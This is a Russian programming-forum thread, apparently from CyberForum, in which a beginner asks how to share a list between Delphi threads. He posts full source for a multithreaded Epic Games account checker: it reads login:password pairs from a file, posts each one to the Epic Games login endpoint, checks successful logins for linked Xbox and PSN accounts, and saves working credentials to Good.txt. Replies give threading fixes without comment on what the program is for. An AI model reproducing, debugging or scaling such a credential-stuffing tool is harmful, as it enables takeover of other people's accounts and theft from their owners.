Форум программистов, компьютерный форум, киберфорум
Delphi для начинающих
Войти
Регистрация
Восстановить пароль
 
7 / 6 / 1
Регистрация: 29.03.2015
Сообщений: 501
1

Как запустить несколько потоков с общим List?

03.06.2018, 16:36. Показов 364. Ответов 6
Метки нет (Все метки)

Тема затертая до дыр, но которую я не могу понять вообще, тупо не поддается моему осознанию, задача проста:
создать к примеру 3 потока, каждый из которых перебирает строки в List, берет 0 строку (логин:пароль), делит ее, записывает в переменные и удаляет эту строку, логинится на сайте и завершается. При всем желании я не могу добиться чтобы потоки работали синхронно и не мешали друг другу, выходит так что берется только нулевая строка, а остальные не берутся...

Не по теме:

P.S. Да я тупой и не могу понять, хоть для кого-то эта тема выглядит легкой, но просто нигде дельных примеров не видел, точнее у всех свой код и копаться в куче кода для меня сложно т.к. любитель и пишу для себя

0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
03.06.2018, 16:36
Ответы с готовыми решениями:

Как запустить несколько потоков одновременно?
Здравствуйте, не могу решить проблему с объявлением количества потоков, нужно чтобы запускалось...

Как запустить поочередно несколько потоков?
Изучаю многопоточность. Столкнулся со следующей проблемой. Имеется такой вот гипотетический код: ...

Как запустить несколько потоков чтения/записи одновременно?
Делаю загрузку файлов на сервер. Хочу использовать потоки. Я попытался кое-что сделать: ...

Создать и запустить одновременно несколько потоков
Всем привет) Необходимо создать несколько потоков и запустить их одновременно (без помощи циклов)....

6
3582 / 3053 / 821
Регистрация: 29.08.2013
Сообщений: 20,367
Записей в блоге: 2
03.06.2018, 19:57 2
Цитата Сообщение от Valimer Посмотреть сообщение
выходит так что берется только нулевая строка, а остальные не берутся...
где код?
0
7 / 6 / 1
Регистрация: 29.03.2015
Сообщений: 501
03.06.2018, 20:03  [ТС] 3
Цитата Сообщение от qwertehok Посмотреть сообщение
где код?
Кликните здесь для просмотра всего текста
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
unit Unit1;
 
interface
 
uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  IdZLibCompressorBase, IdCompressorZLib, IdIOHandler, IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP,WinInet, Vcl.OleCtrls, SHDocVw, idcookiemanager,DateUtils,
  Vcl.Samples.Spin;
 
    type
    TMyThread1 = class(TThread)
    private
    FI: integer;
    Idhttp1: Tidhttp;
    IdCompressorZLib1: TIdCompressorZLib;
    IdSSLIOHandlerSocket1: TIdSSLIOHandlerSocketOpenSSL;
    email, xbox, ps4: string;
    ListView: TListView;
    atime: string;
    Good:Tstrings;
    Res:Tstrings;
    protected
    procedure Execute; override;
    procedure CreateConnection;
    procedure FreeConnection;
    procedure Fix(i: integer);
    procedure dofix;
    procedure AddToListView();
    public
    destructor Destroy; override;
    constructor Create; overload;
    end;
 
    type
    TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    Label9: TLabel;
    Label10: TLabel;
    Button1: TButton;
    Button2: TButton;
    OpenDialog1: TOpenDialog;
    SpinEdit1: TSpinEdit;
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
  ListView: TListView;
  atime: string;
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  List: TStringList;
implementation
 
{$R *.dfm}
 
function Pars(T_, ForS, _T:string):string;   //Функция парсинга
var a, b:integer;
begin
Result := '';
if (T_='') or (ForS='') or (_T='') then Exit;
a:=Pos(T_, ForS);
if a=0 then Exit else a:=a+Length(T_);
ForS:=Copy(ForS, a, Length(ForS)-a+1);
b:=Pos(_T, ForS);
if b>0 then
Result:=Copy(ForS, 1, b - 1);
end;
 
 
procedure TMyThread1.CreateConnection;
begin
idhttp1:= Tidhttp.Create(nil);
idhttp1.HandleRedirects:=true;
IdSSLIOHandlerSocket1:=TIdSSLIOHandlerSocketOpenSSL.Create(IdHTTP1);
idhttp1.IOHandler:=Idssliohandlersocket1;
IdCompressorZLib1:=TIdCompressorZLib.Create(idhttp1);
IdHTTP1.Request.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0';
IdHTTP1.Request.Host:= 'homegate.ru';
IdHTTP1.Request.Accept:='application/json, text/plain, */*';
IdHTTP1.Request.AcceptLanguage:='ru-RU,ru;q=0.9,en;q=0.8';
IdHTTP1.Request.AcceptCharset:='iso-8859-1, utf-8, utf-16, *;q=0.1';
idhttp1.Request.AcceptEncoding:='deflate';
res := TStringList.Create;
Good := TStringList.Create;
end;
 
constructor TMyThread1.Create();
begin
  inherited Create(true);
  FreeOnTerminate := true;
  CreateConnection;
end;
 
destructor TMyThread1.Destroy();
begin
  FreeConnection;
end;
 
procedure TMyThread1.dofix();
begin
  if FI = 0 then
    form1.label8.Caption := inttostr(strtoint(form1.label6.Caption) - FI - 1);
  if FI = 1 then
    form1.label3.Caption := inttostr(strtoint(form1.label3.Caption) + 1);
  if FI = 2 then
    form1.label4.Caption := inttostr(strtoint(form1.label4.Caption) + 1);
  if FI = 3 then
    form1.label10.Caption := inttostr(strtoint(form1.label10.Caption) + 1);
end;
 
procedure TMyThread1.FreeConnection;
begin
freeandnil(IdCompressorZLib1);
freeandnil(IdSSLIOHandlerSocket1);
freeandnil(idhttp1);
freeandnil(good);
freeandnil(res);
end;
 
procedure TMyThread1.AddToListView();
var
  ListItem: TListItem;
begin
  ListItem:= ListView.Items.Add;
  ListItem.Caption := email;
  if xbox <> '' then
    ListItem.SubItems.Add('YES')
  else
    ListItem.SubItems.Add('NO');
  if ps4 <> '' then
    ListItem.SubItems.Add('YES')
  else
    ListItem.SubItems.Add('NO');
end;
 
procedure TMyThread1.Fix(i: integer);
begin
  FI := i;
  Synchronize(dofix);
end;
 
procedure TForm1.Button1Click(Sender: TObject);
begin
 if OpenDialog1.Execute then List.LoadFromFile(form1.OpenDialog1.FileName);
 label6.Caption:=inttostr(list.Count);
end;
 
procedure TMyThread1.Execute;
var
id:string;
xtoken:string;
excep:Tstrings;
begin
fix(0);
try
while list.Count > 0 do
begin
res.Clear;
email := list[0];
list.Delete(0);
res.Text:=idhttp1.Get('https://www.epicgames.com/account/login?state=/account/&redirected=1');
id:=pars('client_id":"',res.Text,'"');
res.Text:=idhttp1.Get('https://accounts.epicgames.com/login/doLogin?client_id='+id+'&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&productName=epic-games');
xtoken:= pars('X-XSRF-TOKEN" value="',res.Text,'"');
res.Clear;
res.Add('authType=');
res.Add('client_id='+id);
res.Add('epic_username='+copy(email,1,pos(':',email)-1) );
res.Add('fromForm=yes');
res.Add('linkExtAuth=');
res.Add('loginSubheading=Войти');
res.Add('productName=fornite');
res.Add('password='+copy(email,pos(':',email)+1,999));
res.Add('redirectUrl=https://www.epicgames.com/fortnite/ru/battle-pass/season-4');
res.Add('regSubheading=Зарегистрироваться');
res.Add('rememberMe=yes');
res.Add('X-XSRF-TOKEN='+xtoken);
res.Add('X-XSRF-URI=/login/doLogin');
res.Text:=idhttp1.Post('https://accounts.epicgames.com/login/doCustomLogin',res);
if pos('{"redirectURL":"',res.Text)>0
then
begin
idhttp1.Get('https://www.epicgames.com/account/connected/');
res.Text:=idhttp1.Get('https://www.epicgames.com/account/connected/socialConnection/ajaxGet?lang=en-US');
xbox:=pars('"xboxDisplayName":"',res.Text,'"');
ps4:=pars('psnDisplayName":"',res.Text,'"');
Synchronize(AddToListView);
if (xbox = '') and (ps4 = '') then fix(2) else
begin
fix(1);
good.Add(email);
good.SaveToFile('result\' + atime + '\Good.txt');
end;
end
else
fix(3);
end;
except on E : Exception do
begin
  excep:=Tstringlist.Create;
  excep.Text:= E.ClassName+#13#10#13#10+e.Message;
  excep.SaveToFile('result\' + atime + '\error.txt');
  ShowMessage('Ошибка сохранена в папке результатов');
end;
end;
end;
 
procedure TForm1.Button2Click(Sender: TObject);
var
  path: string;
  th: TMyThread1;
  threads: integer;
begin
path := ExtractFilePath(ParamStr(0));
atime := FormatDateTime('dd.mm.yyyy hh_nn_ss', now);
ForceDirectories(path + 'result\' + atime);
for threads := 0 to 1 do
  begin
  th:=TMyThread1.Create();
  th.ListView:= listview;
  th.atime:=atime;
  th.Start;
  end;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
var
NewColumn: TListColumn;
begin
List := TStringList.Create;
ListView := TListView.Create(Self);
List:=Tstringlist.Create;
with ListView do
begin
Parent := Self;
ViewStyle := vsReport;
NewColumn := Columns.Add;
NewColumn.Caption := 'Данные';
NewColumn := Columns.Add;
NewColumn.Caption := 'Xbox';
NewColumn := Columns.Add;
NewColumn.Caption := 'PSN';
height:= 220;
width:=292;
top:=8;
left:=191;
end;
end;
 
 
procedure TForm1.FormDestroy(Sender: TObject);
begin
 list.Free;
end;
 
end.
0
4932 / 3840 / 1278
Регистрация: 14.04.2014
Сообщений: 17,727
Записей в блоге: 18
03.06.2018, 20:46 4
Оптимизация приложения "менеджер закачек"

Добавлено через 8 минут
еще раз. зачем потоку знать про общий список вообще???
дайте каждому КОНКРЕТНУЮ строку этого списка
Delphi
1
2
3
4
for i:=0 to List.Count-1 do
begin
  RunThread(List[i]);
end;
технику как запустить не более N потоков я уже тыщу раз давал ссылку на свой блог
0
7 / 6 / 1
Регистрация: 29.03.2015
Сообщений: 501
03.06.2018, 20:50  [ТС] 5
Цитата Сообщение от krapotkin Посмотреть сообщение
дайте каждому КОНКРЕТНУЮ строку этого списка
он разве не запустит N потоков равному списку лист?
0
4932 / 3840 / 1278
Регистрация: 14.04.2014
Сообщений: 17,727
Записей в блоге: 18
03.06.2018, 21:02 6
я цикл привел, который запустит
List.Count потоков
если хотите, чтобы их было меньше
READ FCKNG BLOG ARTICLE !

даже если ваш поток будет делать не одно действие а целый список,
поделите исходный список на части и дайте каждому потоку ЕГО СОБСТВЕННУЮ ОТДЕЛЬНУЮ ЧАСТЬ СПИСКА

но это просто лишний геморрой
один поток
один адрес
никакой синхронизации
0
northener
04.06.2018, 01:41     Как запустить несколько потоков с общим List?
  #7

Не по теме:

Цитата Сообщение от krapotkin Посмотреть сообщение
технику как запустить не более N потоков я уже тыщу раз давал ссылку на свой блог
Блоги ни чем не лучше учебников в данном случае. Их надо читать. Причём вдумчиво.

0
04.06.2018, 01:41
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
04.06.2018, 01:41
Привет! Вот еще темы с ответами:

Перемножить две матрицы, причем запустить подсчет в несколько потоков
Всем привет. Суть задания перемножить две матрицы, причем запустить подсчет в несколько потоков, в...

Как запустить 20 потоков
Здравсвуйте у меня есть вопрос как можно создать и запустить 20 поток одного метода? Вот такой...

Является ли метод run() общим для всех потоков?
Есть несколько потоков (экземпляров) одного класса. Что можно сказать про метод run() этого класса,...

Замедление работы потоков если запущено несколько потоков
Есть отдельный поток который движет красным квадратом. Он каждую миллисекунду меняет положение...

Массив threads: как запустить 10 потоков?
Метод оформил: protected: virtual void run(); void Class::run() { }

Как создать в приложении несколько потоков
И сильно ли это облегчит задачу обмена в реальном времени с последовательным портом.А то как щас...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
7
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2021, vBulletin Solutions, Inc.